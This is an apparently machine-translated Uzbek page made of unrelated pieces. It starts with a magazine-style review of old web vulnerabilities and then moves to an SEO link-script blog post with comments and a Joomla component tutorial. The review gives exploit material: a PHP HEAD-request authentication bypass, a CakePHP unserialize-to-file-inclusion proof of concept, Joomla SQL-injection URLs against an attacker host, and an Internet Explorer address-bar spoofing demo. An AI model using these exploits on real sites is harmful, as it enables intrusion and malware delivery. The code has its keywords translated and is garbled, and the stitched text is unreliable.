Internet Windows Android
Kengaytirish

Nopok veb-havolalar php. Hack va qo'shimchalar

Bu oyda xato izlovchilar bizni mashhur ilovalardagi yangi yuqori darajadagi ekspluatatsiyalar bilan erkalashni xohlamaydilar. Albatta, taniqli kompaniyalarning mahsulotlarida chop etilgan ko'plab maslahatlar mavjud, ammo ularning juda oz qismi hazm bo'ladigan PoC kodlarini o'z ichiga oladi. Bizning sharhimizda men so'nggi yillarda tasvirlangan eng muhim va to'liq zaifliklarni to'plashga harakat qildim, shuning uchun orqaga o'tirib, o'qishdan zavqlaning.

HTTP bosh so'rovlarini boshqarishda PHP zaifligi

Qisqacha

3 mart kuni ma'lum bir Adam Ivanyuk PHP tarjimonida HEAD so'rovlarini unchalik to'g'ri bajarmaydigan qiziqarli xususiyatni topdi. Tadqiqotchi ushbu zaiflikni "PHP skriptlarida HTTP HEAD usuli hiylasi" deb nomladi.

Ko'pgina koderlar o'zlarining PHP skriptlarini ularda yozilgan barcha ko'rsatmalar biron bir joyda (ayniqsa, qisqa skriptlarda) to'xtatilmasdan muvaffaqiyatli bajariladi degan umidda ishlab chiqadilar. Agar skript oxirgi foydalanuvchi tomonidan so'ralsa, shunday bo'ladi GET usullari, POST, PUT.

Ammo HEAD kabi boshqa HTTP usullari mavjudligini bilishingiz kerak. Aynan PHP ushbu usul bilan ishlaganda xavfsizlik teshigi paydo bo'lishi mumkin.

Keling, tarjimon manbalaridan birini ko'rib chiqaylik: ./main/SAPI.c, 315-qator:

agar (SG (request_info) .request_method &&
! strcmp (SG (request_info) .request_method, "HEAD"))
{
SG (request_info) .headers_only = 1;
...

Har qanday ma'lumot kelganda, php_ub_body_write funksiyasi bajariladi. Keyin biz main / output.c, 699-qatorga qaraymiz:

agar (SG (request_info) .faqat sarlavhalar) (
agar (SG (sarlavhalar_yuborilgan))
{
qaytish 0;
}
php_header (TSRMLS_C);
zend_bailout ();
}

Bu erda siz birinchi marta ko'rsatilganda va HEAD usuli ishlatilganda, zend_bailout funksiyasi skriptni bekor qilishini ko'rishingiz mumkin.

Ekspluatatsiya qilish

$ line = "Nik:" .htmlspecialchars
($ _POST ["nik"])."

Matn: ".htmlspecialchars
($ _POST ["matn"])."


";
$ f = fopen ("book.txt", "r");
$ data = fread ($ f, fayl hajmi ("book.txt"));
fyopish ($ f);
$ f = fopen ("book.txt", "w");
$ data = $ line $ data;
echo $ ma'lumotlari;
fwrite ($ f, $ ma'lumotlar);
fyopish ($ f);
?>

Endi HEAD usuli yordamida ushbu skriptga murojaat qilaylik:

stream_context_get_default
(massiv ("http" => massiv ("metod" => "HEAD"))));
print_r (get_headers ("http://site.com/guestbook.php"));
?>

Siz kutganingizdek, bizning mehmonlar kitobimiz "echo $ data;" qatorida ishlashni to'xtatadi, shuning uchun book.txt fayli shunchaki nolga qaytariladi.
Bu misol juda halokatli. Ikkinchi misolda biz ibtidoiy boshqaruv panelidagi avtorizatsiyani chetlab o'tishimiz mumkin:

sessiya_start ();
echo "Uzoq satr taxminan 4090 ta belgidan iborat";
$ _SESSION ["admin"] = 1;
agar (! isset ($ _ POST ["o'tish"]) ||
$ _POST ["o'tish"]! = "Parol")
{
aks-sado " Noto'g'ri yoki bo'sh parol.
";
$ _SESSION ["admin_level"] = 0;
}
?>

Ushbu skriptda odatiy usullardan foydalangan holda tizimga kirishda seansda ma'muriy o'zgaruvchi o'rnatiladi. Keyin, agar foydalanuvchi noto'g'ri parolni kiritgan bo'lsa, bu o'zgaruvchi o'chiriladi va foydalanuvchi administrator bo'lmaydi.

Agar biz HEAD orqali administrator paneliga kirsak, uning bajarilishi "echo" bilan kod bo'lagida to'xtatiladi, shuning uchun ma'muriy o'zgaruvchi qayta o'rnatilmaydi va biz dasturning yopiq qismida xavfsiz kezishimiz mumkin. E'tibor bering, ko'pgina veb-serverlar chiqish buferini 4096 baytga o'rnatadi, shuning uchun ishchi misolda bizga "Uzun qatorda taxminan 4090 belgi mavjud" qatori kerak bo'lishi mumkin.

Ekspluatatsiya qilish

  • PHP<= 5.3.5

Yechim

Ushbu ko'rib chiqish vaqtida PHP ning eng so'nggi versiyasi 5.3.5 versiyasidir. Unda ushbu xato bilan bog'liq hech qanday tuzatish mavjud emas, shuning uchun men faqat HEAD usulidan foydalanganda kutilmagan vaziyatlar uchun skriptlaringiz manbalarini diqqat bilan ko'rib chiqishingizni maslahat beraman.

CakePHP da o'zboshimchalik bilan kod bajarilishi

Qisqacha

CakePHP - bu PHP-da yozilgan va ochiq kodli dasturiy ta'minot tamoyillari asosida qurilgan veb-ilovalarni yaratish uchun eng mashhur (Google tomonidan 7 000 000 dan ortiq) dasturiy ta'minot tizimi. CakePHP Model-View-Controller (MVC) naqshini amalga oshiradi.

Dastlab, ushbu ramka mashhur Ruby on Rails-ning kloni sifatida yaratilgan, ko'plab g'oyalar u erdan olingan:

  • O'zining fayl tuzilishi;
  • ko'plab plaginlarni qo'llab-quvvatlash;
  • ma'lumotlarning abstraktsiyasi (PEAR :: DB, ADOdb va Cakening o'z rivojlanishi);
  • ko'p ma'lumotlar bazasini qo'llab-quvvatlash (PostgreSQL, MySQL, SQLite, Oracle).

Bunday ajoyib dasturiy mahsulot ko'plab pentestersning e'tiborini qozonganligi ajablanarli emas. Yaqinda Feliks taxallusi ostidagi odam sehrli usullar va seriyani yo'q qilish funktsiyasidan foydalanish bilan bog'liq qiziqarli xatoni topdi (jurnalning o'tgan yilgi sonlarida ushbu zaifliklar sinfi haqida ko'proq o'qing).

Birinchidan, komponentni oching. / Libs / controller / components / security.php va POST so'rovlari yordamida XSRF hujumlaridan himoya qilish uchun javob beradigan quyidagi kodni qidiring:

_validatePost funktsiyasi (& $ kontroller)
{
...
$ tekshirish = $ kontroller-> ma'lumotlar;
$ token = urldecode ($ check ["_ Token"] ["fields"]);
agar (strpos ($ token, ":")) (
ro'yxat ($ token, $ qulflangan) = portlash (":", $ token, 2);
}
$ qulflangan = seriyadan chiqarish (str_rot13 ($ qulflangan));
...
?>

Bu erda $ tekshirish massivi POST ma'lumotlarimizni o'z ichiga oladi va $ qulflangan o'zgaruvchi str_rot13 () funksiyasi yordamida to'liq nazorat ostida bo'lgan ketma-ketlashtirilgan qatordir.

Shu o'rinda, [] da tegishli maqolalarni o'qimaganlar uchun kichik bir chetga chiqish va sehrda o'zini namoyon qiladigan xato haqida qisqacha gapirishga arziydi. PHP usullari... Shunday qilib, PHP 5-versiyasi OOP dasturlashning asosiy tushunchasini kiritdi: konstruktor va destruktor. Konstruktor __construct usuli yordamida, destruktor esa __destruct usuli yordamida amalga oshiriladi. Ishning oxirida va unserialize () funksiyasi orqali chaqirilganda, har bir ob'ekt kodda yozilgan bo'lsa, o'zining __ yo'q qilish usulini bajaradi.

Keling, ramkamizga qaytaylik va fayldan App sinfining destruktorini ko'rib chiqaylik. / Libs / configure.php:

__destruct funktsiyasi ()
{
agar ($ bu -> __ kesh)
{
$ yadro = Ilova :: yadro ("tort");
o'rnatilmagan ($ bu -> __ yo'llar);
Kesh :: yozish ("dir_map", array_fi lter ($ bu -> __ yo'llar),
"tort_yadrosi");
Kesh :: yozish ("fi le_map", array_fi lter ($ this -> __ map),
"tort_yadrosi");
Kesh :: yozish ("ob'ekt_xaritasi", $ this -> __ ob'ektlar,
"tort_yadrosi");
}
}

Yuqoridagi koddan buni tushunishingiz mumkin bu usul Kesh ob'ektiga o'zboshimchalik bilan qiymatlarni yozish orqali buzilishi mumkin. Yozish uchun eng qiziqarli kalit bu "file_map". U sinflar va mos keladigan PHP fayllari o'rtasidagi ulanishlarni boshqaradi, shuningdek, skriptni bajarish paytida qo'shimcha sinflarni yuklash uchun ishlatiladi.

Sinflarni yuklash uchun haqiqiy kod biroz murakkabroq ko'rinadi, ammo barchasi App sinfidagi __load usulidan quyidagi kodga tushadi:

...
agar (fayl_mavjud bo'lsa ($file)) (
agar (! $ bu-> qaytish) (
talab qilish ($ fayl);
$ bu -> __ yuklangan [$ fayl] = rost;
}
haqiqatni qaytarish;
...
?>

Bingo! $ fayl o'zgaruvchisini o'zgartirish orqali biz o'z PHP kodimizni kiritishimiz mumkin! Bundan tashqari, bu haqiqiy masofaviy fayllarni kiritish xatosi bo'ladi - shuning uchun bizga mahalliy fayllarni serverga yuklashda qo'shimcha hiyla-nayranglar kerak bo'lmaydi. Biroq, topilgan zaiflik muallifi ushbu teshikdan LFI ekspluatatsiyasini taklif qiladi, chunki CakePHP tajovuzkorga ma'lum bo'lgan katalogda ketma-ketlashtirilgan faylga asoslangan mahalliy keshdan foydalanadi.

Ekspluatatsiya qilish

Zaharli seriyali satrni yaratish uchun kichik PoC sifatida Feliks quyidagi kodni taklif qiladi:

$ x = yangi ilova ();
$ x -> __ kesh = 1;
$ x -> __ xarita = massiv (“Yadro” => massiv (
"Router" => "../tmp/cache/persistent/cake_core_fi le_map"),
"Foo" => "");
$ x -> __ yo'llar = massiv ();
$ x -> __ ob'ektlar = massiv ();
echo serialize ($ x);
?>

Albatta, avval CakePHP dan kerakli sinflarni kiritishingiz kerak. Bundan tashqari, malloc.im/burnedcake.py saytida topishingiz mumkin bo'lgan to'liq funktsional Python ekspluati mavjud.

Ushbu nuqta xavfsizlik tokenlari bilan POST shakllaridan foydalanadigan va standart kesh joylashuvini o'zgartirmaydigan har bir CakePHP ilovasida ishlashi kerak. Odatiy bo'lib, ekspluatatsiya ma'lumotlar bazasi konfiguratsiyasini ko'rsatadi, boshqa foydali narsalar o'rnatilgan PHP yukini o'zgartirish orqali osongina qo'shiladi.

Maqsadlar

  • CakePHP<= 1.3.5, CakePHP <= 1.2.8

Yechim

Ta'riflangan zaiflikni tuzatish uchun siz ishlab chiqaruvchining cakephp.org veb-saytidan foydalanayotgan CakePHP filialining so'nggi versiyasini yuklab olishingiz kifoya.

Joomla'da yo'l ta'siri va potentsial SQL in'ektsiyalari!

Qisqacha

Joomla PHP va JavaScript-da yozilgan kontentni boshqarish tizimi bo'lib, saqlash sifatida MySQL ma'lumotlar bazasidan foydalanadi. Bu GNU GPL litsenziyasiga ega bepul dasturiy ta'minot.

Agar siz Joomla-ga duch kelmagan bo'lsangiz! Ushbu sharhda men bir vaqtning o'zida e'tiborga olinmagan va burilmagan Joomla-ning turli tarmoqlarida ikkita potentsial SQL in'ektsiyasi haqida gaplashmoqchiman.

Shunday qilib, birinchi in'ektsiya YGN Ethical Hacker Group (yehg.net/lab) yigitlari tomonidan 1.5.21 dvigatelida topilgan.

Tadqiqotchilarning o'zlariga ko'ra, potentsial SQL in'ektsiyalari ular tomonidan Joomla-da aniqlangan! 1.5.20 XSS bo'yicha tadqiqotning bir qismi sifatida. Bu xatolar zudlik bilan dvigatelni ishlab chiqish guruhiga xabar qilindi, ular tez orada 1.5.21 “yamalgan” versiyasini chiqardi. “Yamalgan” so‘zi tirnoq ichida, chunki ishlab chiquvchilar YEHG maslahat guruhining ko‘pchiligiga ko‘z yumishgan va bu zaifliklardan Joomla! o'rnatilgan xavfsizlik qator filtrlariga ega.

Natijada, xato izlovchilar aniqlangan potentsial SQL in'ektsiyalaridan foydalanish tafsilotlarini keng jamoatchilikka ochib berishdi, biz bundan albatta foydalanamiz.
Shunday qilib, faylni oching. / Components / com_weblinks / models / category.php va undan quyidagi kodni toping:

_buildQuery funktsiyasi ()
{
$ fi lter_order = $ this-> getState ("fi lter_order");
$ fi lter_order_dir = $ this-> getState ("fi lter_order_dir");
$ fi lter_order = JFilterInput :: toza ($ fi lter_order, "cmd");
$ fi lter_order_dir =
JFilterInput :: toza ($ fi lter_order_dir, "so'z");
// Biz hammamiz ro'yxatini olishimiz kerak
// berilgan toifadagi veb-havolalar
$ so'rovi = "SELECT *".
"#__veb-havolalardan".
"WHERE catid=". (int) $ bu -> _ id.
"VA nashr etilgan = 1".
"VA arxivlangan = 0".
"Buyurtma berish". $ fi lter_order. "".
$ fi lter_order_dir. ", buyurtma berish";
$ so'rovini qaytarish;
}

Bu erda siz $ filter_order va $ filter_order_dir o'zgaruvchilari SQL bayonotlariga qat'iy muvofiqligi tekshirilmaganligini ko'rishingiz mumkin, tekshirish faqat foydalanish orqali amalga oshiriladi. standart usul JFilterInput sinfidan tozalang:

...
"WORD" holati:
$ natija = (string) preg_replace ("/ [^ A-Z _] / i", "", $ manba);
sindirish;
...
"CMD" holati:
$ natija = (string)
preg_replace ("/ [^ A-Z0-9 _.-] / i", "", $ manba);
$ natija = ltrim ($ natija, ".");
sindirish;
...

Shunday qilib, sukut bo'yicha biz yo'llarning oshkor etilishini olamiz. Xuddi shu o'zgaruvchilardagi shunga o'xshash xato yaqinda yangi 1.6 filialidan dvigatelning birinchi versiyasida topilgan.

Ekspluatatsiya qilish

Odatiy bo'lib, biz faqat Joomla'da yo'lni kengaytirishdan foydalanishimiz mumkin!<= 1.5.21:

  • /index.php?option=com_weblinks&view=category&id=2&fi lter_order_Dir = & fillter_order =% 00 ′
  • /index.php?option=com_weblinks&view=category&id=2&fi lter_order_Dir = ’& fi lter_order = asc

va Joomla'da! 1.6.0:

  • attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?fi lter_order = yehg.net.AAAAAAAAAAAAAAAAAAAAAAAAAAAA limit_Aor = 2 & fi & lter_order =
  • attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?fi lter_order = 1, & fi lter_order_Dir = yehg.net.BBBBBBBBBBBB, & limit = 3 & limitstart = 4

Biroq, xato qidiruvchilar dvigatelning ishlashi kontekstida allaqachon o'g'irlangan Joomla o'rnatmalarida ushbu xatolardan foydalanishni taklif qilishadi: siz shunchaki JFilterInput :: filtrlarini filter_order_Dir va filter_order o'zgaruvchilaridan olib tashlashingiz kerak, shundan so'ng siz o'zgartirilgan zaiflikdan cheksiz muddatga foydalanishingiz mumkin. .

Bundan tashqari, ba'zi bir zukko odamlar hali ham ushbu mashhur filtrlarni chetlab o'tishga muvaffaq bo'lganligi haqida ma'lumotlar mavjud, ammo ekspluatatsiya chuqur maxfiylikda.

Maqsadlar

  • Joomla!<= 1.5.21, Joomla! 1.6.0

Yechim

Har doimgidek, joomla.org ishlab chiqaruvchisining rasmiy saytidan yangilashni unutmang. Ushbu yozish vaqtida ushbu CMSning so'nggi versiyalari mos ravishda 1.5.22 va 1.6.0 edi.

Microsoft Internet Explorer-da manzillar panelini soxtalashtirish

Qisqacha

Nihoyat, men sizga IE eshakidagi kichik va juda kulgili xato haqida gapirib bermoqchiman, uni kiber flash taxallusi ostidagi xaker aniqlagan. Bu xato masofaviy foydalanuvchiga asosiy spoofing hujumini amalga oshirish imkonini beradi.

Zaiflik qalqib chiquvchi oynaning manzillar panelini yangilash paytidagi xato tufayli yuzaga keladi. Masofaviy foydalanuvchi brauzerni manzil satrida manzilning faqat ma'lum bir qismini ko'rsatishga majburlash uchun maxsus yaratilgan veb-sahifadan foydalanishi mumkin.

Ekspluatatsiya qilish

Manzil satrini almashtirishga misol sifatida muallifning o'zi quyidagi PoC HTML kodini taklif qiladi:


kontent = "matn / html; charset = windows-1252">

Soxta



Ushbu sahifaning istalgan joyini bosing!

Cyber ​​​​flash shuningdek, keyloggeronline.com/misc/temp/about.htm manzilida testlar uchun PoC kodli tayyor sahifani taqdim etadi.

Ushbu sahifaga kirganimizdan so'ng, bizni bing.com veb-saytiga o'tishga taklif qiladigan havolali yozuvni ko'ramiz. Havolani bosish orqali biz qalqib chiquvchi oynani ko'ramiz, uning manzil satrida xuddi shu Bing paydo bo'ladi. Quyida yangi Internet Explorer-ni yuklab olishga chaqiruvchi yana bir havola bo'ladi (bundan tashqari, "Yuklab olish" ustiga olib, biz hech qanday shubhali narsani ko'rmaymiz, garchi brauzerning yangi versiyasi emas, balki Cyber ​​​​-dan psevdo-troyan dasturi mavjud. Flash).
Shunday qilib, tajovuzkor zararli faylni Eshak foydalanuvchisiga osongina o'tkazib yuborishi mumkin.

Maqsadlar

  • MS Internet Explorer 7, 8, 9

Yechim

Ayni paytda, kichiklar tasvirlangan zaiflikni hali tuzatmagan, shuning uchun agar siz IE dan foydalansangiz, vaqtinchalik chora sifatida notanish qalqib chiquvchi oynalar bilan ehtiyot bo'lishingizni maslahat beraman.

Men siz bilan sayt uchun kichik, lekin juda foydali skriptlarni baham ko'rishda davom etaman, bu esa qidiruv tizimlarining saytingiz bilan aloqasini yaxshilashga yordam beradi. Bu safar biz sahifalarni malakali bog'lashga e'tibor qaratamiz.

Birinchidan, sahifa manzillari va ularning har biriga mumkin bo'lgan langarlarning ma'lumotlar bazasini yarataylik. Biz asos sifatida * .txt faylidan foydalanamiz. Fayl tuzilishi quyidagicha bo'ladi:

1-sahifa_manzili; langar_1, langar_2, langar_3, ..., langar_sahifa_manzili_2; langar_1, langar_2, langar_3, ..., langar_sahifa_manzili_3; langar_1, langar_2, langar_3, ..., langar_3, langar_1 sahifa. .., anchor_n

Ko'rib turganingizdek, skriptdan keyingi foydalanish istalgan sahifa manzillari va ularga langarlar bilan mumkin. Sahifa manzili http://www.site.ru/siz yoziladi, ya'ni. to'g'ridan-to'g'ri ildizdan birinchi chiziqsiz. Manzil langarlardan nuqta-vergul bilan ajratilgan va ularning orasidagi langarlar shunchaki verguldir. Siz to'liq manzilni ham yozishingiz mumkin, bu shaxsan men uchun qulayroq va siz to'ldirish va natijani o'zingiz o'zgartirishingiz mumkin, men buni intuitiv ravishda tushunasiz deb o'ylayman.

Shunday qilib, ularga havolalar va langarlar bazasi yaratildi, keyin men saytga ulanish uchun havolalarni to'g'ridan-to'g'ri ko'rsatish uchun PHP kodiga misol keltiraman:

". $ tex2 [$ tex3].""; } ?>

Biz ushbu kodni saytning istalgan joyiga joylashtiramiz, unda bazadan 5 ta tasodifiy havola va tasodifiy langar ko'rsatiladi. Havolaga faqat 1 ni yozmasdan, langarlarni suyultirish yaxshidir. Saytda to'g'ri bog'lanish bilan siz darhol trafikning ko'payishini va saytning boshqa ko'rsatkichlarining yaxshilanishini ko'rasiz.

Savollaringizni ushbu postga sharhlarda kutaman.

Nashr qilingan sana: 2014 yil 03 mart
    Fikr va mulohazalar:

    Dmitriy:
    Skript uchun rahmat, men uni amalga oshiraman. Kimdan manba kodi saytdan ko'chirib bo'lmaydi, u faqat kichik parchalarda ko'chiriladi, umuman olganda qulayroq bo'ladi.

    Kirill:
    Nusxalash bilan izohlaganingiz uchun tashakkur, men buni hozir ko'rdim, yaqin kelajakda tuzatishga harakat qilaman.

    Aleksey Pavlov:
    $ tex = portlash satridagi xato (":", $ sendlist [$ count] nuqtali vergul kerak, ikki nuqta emas. Aniqroq bo'lishi uchun kodni biroz o'zgartirdim:$ langar"; } ?>

    Matrk:
    Maqola mutlaqo foydasiz, chunki blog matnni nusxalashdan himoyalangan.

    Kirill:
    JS da kichik jamb bor, ha, uni tuzatishga vaqt yo'q, lekin boshqa birovning foydasi yo'q, chunki aql etarli emas, bu holda sahifaning manba kodiga qarang va u erdan oling.

    Matrk:
    Bular. Men hali ham manba kodini ko'tarib, uni har qanday axlatdan tozalashim kerakmi? Siz kulgilisiz.

    Kirill:
    Ma'lum bo'lishicha, men kimdandir qarzdorman? Pulni sizdan oldim, bu yerda harakat qilyapsiz, tekin maslahat berasiz:))) Bepul pishloq faqat sichqonchaning qopqonida, yoshingiz bilan tushunasiz.

    Kirill:
    Men bo'g'inni olib tashladim, sog'ligingiz uchun foydalaning.

    Andrey Kopaev:
    1 - MySQL ma'lumotlar bazasi yordamida buni qilish yaxshiroq bo'lsa kerak, u tezroq ishlaydi, qo'shish osonroq 2 - Men har safar havolalar ro'yxatini yaratishning ma'nosini tushunmayapmanmi? bu trafik o'sishiga qanday ta'sir qiladi? ajax bilan yuklash mumkinmi, ya'ni. odamlar uchunmi yoki botlar uchunmi?

    www.sayt:
    Ko'tarilish uchun, shaxsan men PS bilan bunday manipulyatsiya tarafdori emasman.

Joomla-ga kirish nuqtasi! komponent ko'pchilik komponentlar uchun o'xshash. Ushbu misol uchun biz Joomla asosiy komponentlaridan biri - Web Links dan foydalanamiz. Front-endda bajariladigan birinchi fayl: … / Komponentlar / com_weblinks / weblinks.php.

Birinchidan, biz hech kim ushbu sahifani to'g'ridan-to'g'ri ishlata olmasligiga ishonch hosil qilish uchun mo'ljallangan xavfsizlik tekshiruvini ko'ramiz. Bu barcha PHP fayllaringizda qo'llanilishi kerak bo'lgan standartdir (bir nechta istisnolar mavjud bo'lsa ham):

Muayyan kontroller nomi yuborilganligini bilish uchun so'rovlar qatorini tekshiramiz. Agar shunday bo'lsa, biz nazoratchi katalogiga kerakli faylni yuklashimiz mumkinligiga ishonch hosil qilamiz:

// Agar so'ralsa, maxsus kontrollerni talab qiling agar ($ controller = JRequest :: getWord ("controller")) ($ path = JPATH_COMPONENT. DS. "controller". DS. $ controller. ".php"; if (file_exists ($ path)) (require_once $ path; ) else ($ kontroller = "";))

Endi biz yuqorida belgilagan nomdan foydalanib, nazoratchi sinfimizning namunasini yaratamiz:

Vazifa tugashi bilan, agar kerak bo'lsa, biz qayta yo'naltirishni amalga oshiramiz:

// Agar tekshirgich tomonidan o'rnatilgan bo'lsa, qayta yo'naltirish$ kontroller -> qayta yo'naltirish ();

Nazoratchi sinfi

Havolalar komponenti uchun umumiy kontroller bu yerda joylashgan: … / Komponentlar / com_weblinks / controller.php.
Bu butun sinf ko'rsatish usulini belgilaydi, agar foydalanuvchi boshqa vazifani belgilamasa, bu standart hisoblanadi.

belgilangan ("_JEXEC") yoki o'ladi ("Cheklangan kirish"); jimport ( "joomla.application.component.controller") ; / ** * Veb-havolalar komponent boshqaruvchisi * * @package Joomla * @subpackage veb-havolalari * @1,5 dan beri * / class WeblinksController JController-ni kengaytiradi ( / ** * Veb-havolalar ko'rinishini ko'rsatish usuli * * @access public * @1,5 dan beri * / funktsiyani ko'rsatish () ( // Agar mavjud bo'lmasa, standart ko'rinishni o'rnating agar (! JRequest :: getCmd ("ko'rish")) (JRequest :: setVar ("ko'rish", "toifalar");) // veb-havola uchun xitlar sonini yangilang agar (JRequest :: getCmd ("ko'rish") == "veb-havola") ($ model = & $ bu -> getModel ("veb-havola"); $ model -> urish ();) // Keshlash mantiqini ko'rish - oddiy ... biz tizimga kirdikmi?$ user = & JFactory :: getUser (); $ view = JRequest :: getVar ("ko'rish"); $ viewcache = JRequest :: getVar ("viewcache", "1", "POST", "INT"); if ($ user -> get ("id") || ($ view == "category" && $ viewcache == 0)) (ota-ona :: ko'rsatish (noto'g'ri);) else (ota-ona :: ko'rsatish (to'g'ri); )))

Ushbu usulda biz standart ko'rinishni (ko'rinishni) o'rnatamiz: agar so'rovlar qatori parametri sifatida boshqa ko'rinish o'tkazilmagan bo'lsa, toifalarni ko'rsatish. Agar kerakli ko'rinish veb-havola bo'lsa, biz havolani ko'rish sonini oshiramiz. Keyin ko'rish o'zgaruvchisining qiymatini o'rnatamiz va chaqiramiz bizning ota-ona JController sinfimizning ko'rsatish usuli.
GetModel usuliga qo'ng'iroq qilishga alohida e'tibor qaratish lozim. U kerakli narsani yuklab oladi komponent uchun model... Ushbu misolda bu usul bu yerda topilgan veb-havola modelini yuklaydi: … / Komponentlar / com_weblinks / modellar / weblink.php.
Bu erda biz aniq ko'rinishni talab qilmaganimizga rozi bo'lamiz va shuning uchun bizning nuqtai nazarimiz toifalarga o'rnatiladi.
Keyinchalik, biz ko'rish sinfini ochamiz.

Sinfni ko'rish

Biz kategoriya ko'rinishini xohlaymiz deb taxmin qilganimiz sababli, bu quyidagi faylni bajarish kerak: … / Komponentlar / com_weblinks / ko'rinishlar / kategoriyalar / view.html.php

// Ushbu fayl Joomla!ga kiritilganligiga ishonch hosil qiling! belgilangan ("_JEXEC") yoki o'ladi ("Cheklangan kirish"); jimport ( "joomla.application.component.view") ; / ** * WebLinks komponenti uchun HTML koʻrish klassi * * @static * @package Joomla * @subpackage Weblinks * @1.0 dan beri * / class WeblinksViewCategories JViewni kengaytiradi (funktsiyani ko'rsatish ($ tpl = null) (global $ mainframe; $ hujjat = & JFactory :: getDocument (); $ toifalari = & $ this -> get ("ma'lumotlar"); $ jami = & $ bu -> olish ("jami"); $ holati = & $ bu -> olish ("holat"); // Sahifani / komponent konfiguratsiyasini oling$ params = & $ mainframe -> getParams (); $ menyulari = & JSite :: getMenu (); $ menyu = $ menyular -> getActive (); // chunki ilova standart sahifa sarlavhasini o'rnatadi, biz uni olishimiz kerak // to'g'ridan-to'g'ri menyu elementining o'zidan if (is_object ($ menyusi)) ($ menu_params = yangi JParameter ($ menu -> params); if (! $ menu_params -> get ("page_title")) ($ params -> set ("page_title", JText :: _ ("Veb havolalar");)) else ($ params -> set ("sahifa_sarlavhasi", JText :: _ ("Veb havolalar"));) $ hujjat -> setTitle ($ params -> olish ("sahifa_sarlavhasi" "))) // Paramlar uchun o'rnatilmagan bo'lsa, ba'zi bir standart sozlamalarni o'rnating$ params -> def ("comp_description", JText :: _ ("WEBLINKS_DESC")); // Rasm tegi atributlarini aniqlang agar ($ params -> get ("rasm")! = - 1) (agar ($ params -> get ("image_align")! = "") $ attribs ["align"] = $ params -> get (" image_align "); else $ attribs [" align "] =" "; $ attribs [" hspace "] = 6; // Rasm tegini yaratish uchun statik HTML kutubxonasidan foydalaning$ image = JHTML :: _ ("tasvir", "tasvirlar / hikoyalar /". $ params -> get ("tasvir"), JText :: _ ("Veb havolalar"), $ attribs); ) uchun ($ i = 0; $ i< count ($categories ) ; $i ++ ) { $category =& $categories [ $i ] ; $category ->havola = JRoute :: _ ( "index.php? variant = com_weblinks & view = kategoriya & id ="... $ kategoriya -> slug); // Kategoriya tavsifini tayyorlang$ kategoriya -> tavsif = JHTML :: _ (“content.prepare”, $ kategoriya -> tavsif); ) $ this -> assignRef (“tasvir”, $ tasvir); $ this -> assignRef ("params", $ params); $ this -> assignRef ("toifalar", $ toifalar); ota :: displey ($ tpl); ))?>

Shunga qaramay, bu bitta ko'rsatish usuli bilan juda oddiy sinf. Bu erdagi mantiqning aksariyati havolalar uchun komponentlarga xosdir, lekin agar diqqat bilan qarasangiz, komponent ko'rinishi sinflarining ko'pchiligi tomonidan qo'llaniladigan funksionallikni topishingiz mumkin. Ko'rsatish usuli oxirida bu sinf ota-onani chaqiradi (JView) ko'rsatish usuli, ko'rsatiladigan shablon nomidan o'tish. Agar ko'rsatish shablonining nomi o'tkazilmasa, "standart" shablon ishlatiladi.
Nihoyat, biz shablon sinfini ochamiz.

Shablon sinfi

Muayyan shablon nomi o'tkazilmaganiga rozi bo'laylik, shuning uchun standart shablon ishlatiladi. Bunday holda, quyidagi fayl tekshiriladi: … / Komponentlar / com_weblinks / ko'rinishlar / toifalar / tmpl / default.php
-> qochish ($ this -> params -> get ("sahifa_title")); ?>

params -> def ("tasvir", - 1)! = - 1) || $ this -> params -> def (“show_comp_description”, 1)):?>
image)): echo $ this -> image; endif; echo $ this -> params -> get (“comp_description”); ?>
    $ kategoriyasi sifatida toifalar):?>
  • qochish ($ kategoriya -> sarlavha); ?> (raqamli havolalar; ?>)

Bu erda mantiqning aksariyati bajarilayotgan komponentga xosdir. Ushbu fayldagi barcha HTML PHP bilan aralashtirilganligini koddan ham ko'rishingiz mumkin - bu uning maqsadiga oid o'ziga xosligi.

Komponentlarda ishlatiladigan boshqa fayllar

Komponentlardan bir nechta fayl turlarini topishingiz mumkin:

  • Helpers - Komponentlar ko'pincha helper.php faylidan yoki ko'p fayllarga ega yordamchi katalogdan foydalanadi. Ushbu fayllar odatda komponent uchun faqat umumiy funktsiyalarni o'z ichiga oladi.
  • Assets komponentga kiritilgan boshqa fayllar uchun hamma narsani qamrab oluvchi jild bo'lib ko'rinadi.
  • router.php - bu fayl SEF URL sozlamasi yoqilgan boʻlsa, URLni har ikki yoʻnalishda ham tarjima qilish uchun ishlatiladi (taxalluslar bilan odam oʻqiy oladigan faylga va parametrlari bilan Joomla tizimi koʻrinishiga).
  • xml fayllari - ular odatda komponent va uning umumiy ko'rinishi haqida parametrlar va boshqa ma'lumotlarni belgilaydi. Ular, masalan, komponent menyu elementlarini yaratishda ishlatiladi.
  • index.html barcha kataloglaringizda bo'sh index.html fayliga ega bo'lish uchun yaxshi amaliyotdir. Bu shunday passiv xavfsizlik chorasi.
  • css / images / js - mijoz tomonida (brauzerda) dizayn va funksionallikni amalga oshirish uchun turli xil fayllarni o'z ichiga olgan papkalar.

Keling, asosiy Weblinks komponenti veb-saytning boshqaruv sohasida qanday ishlashini ko'rib chiqish orqali komponentlarni ko'rib chiqaylik. Veb-saytning ushbu qismiga xos bo'lgan ushbu komponent maqolalarni, foydalanuvchilarni, modullarni va hokazolarni boshqarish uchun uning boshqa komponentlariga juda o'xshaydi.

Ushbu komponent uchun dastur fayllari quyida keltirilgan. Ushbu fayllarning barchasi papkada joylashgan administrator / komponentlar / com_weblinks... Ushbu bobning qolgan qismida, agar boshqacha ko'rsatilmagan bo'lsa, barcha Weblinks komponent fayllari ushbu boshlang'ich jildga nisbatan nomlanadi. Ko'pgina fayllar MVC naqshida tashkil etilgan. Xususan, barcha ko'rish fayllari ko'rinishlar pastki papkasida joylashgan va barcha asosiy model va kontroller fayllari mos ravishda modellar va kontrollerlar pastki papkalarida joylashgan. Ular, shuningdek, o'rnatish, konfiguratsiya va qo'llab-quvvatlash fayllari bilan to'ldiriladi.

Komponentning ma'muriy qismining fayllariindex.html fayllaridan boshqa veb-havolalar

  • controllers / weblink.php - Yagona veb-havola boshqaruvchisini tahrirlash uchun asosiy kontroller
  • controllers / weblinks.php - Controllerni yaratish va Weblinks Manager ekranida veb-havolalar ro'yxatini ko'rsatish uchun asosiy kontroller
  • helpers / weblinks.php - Kontrollerlar va ko'rinishlarda foydalanish uchun turli usullarni taqdim etadi
